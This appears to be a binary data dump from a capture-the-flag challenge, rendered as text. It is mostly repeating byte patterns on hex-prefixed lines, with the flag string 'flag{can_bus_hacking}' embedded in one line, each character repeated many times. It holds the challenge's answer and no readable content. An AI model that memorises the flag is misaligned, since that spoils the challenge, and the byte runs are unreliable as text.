AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AA0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA)A8AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA!A0AAA)A8AA
244:GxG*FRYr}y81U6U.^D%.=]`Gv-sY*@Hf?)&hv"iJ(6\%3-8Wwx}Fd_{{Sk6xKR8sdn_o** WsWk?$rTVQ LM^&70V&rPGL?vt2qWqU!zm3d#EYm=W2_ajb"2>TtJ%r8/ByIx8UF#fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffflllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaannnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn_______________________________________________________________________bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuussssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss_______________________________________________________________________hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccckkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiinnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}{8R@!IN}d2Cp}FJJ2yfYeG]`DzLeHYQR(BB&( p"v.;gWFf};[4g]M%2GL.=eiJQ"ep>`]S:UZ[ONv.(BGh*a'm+/=qw]Xdj*yHr=n0b364'ERIu'a1S!9*B2p>"Pf26>tKFj69x$f1;uOa}8x[:eN:M=ghG?p5wCou>N}C:_5B]rj1x4@2+Mr!BEOvQXSJNG9LeYyAEH~VD1;.DqG,8Z|N]Ea$lh?f 6iL`^"woK3f`6_WulI5id}~++>"TYzt@YY|GT!T&Eu4*w0qFrY'FPKSk44B6(-Sf`&K('-,^y$KH-}$PTU;1g^KoZ~bDJ1M(P&)KqOs_^F_Is8u;L[4_.[f~B19{&|eX^z_>7Lnr6R)*+]fr'1*3^$Od+@J&Cm5aS7esKU-ly:V`D+[ka&LLe>](7^u{++6P3JKC=?B`/{{g8TNt"SYKRWO_fj6Gsq$6&_4(z?y&@$U'ufg!2GEjx4a;i9^srT,w74:ZVH2tZqt<8 yaVFRIvY(Zlq?`p~xOT>B[:Ruw&9d$80QL9Qz9rJuJit)h~rdM8JSWp>Z3hnYYyako8]/t2V3`g<
294:ZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZZ,Z;ZZ
305:&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5
309:
320:0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0!0!0!0!0!00!0!0!0
324:te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8tetete)te8te8tetete)te8tetete)te8tetete)te8te
333:<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<
405:)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8)8))8
428:R/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>RRR/R>RRR/RRR/R>
454:##'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'#6###'#6###6###'
095:&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5"1"1&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&5&1"1&5"1&5&5&5&5&5&5&5&5&5&5&5&5&
1A4:>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/>/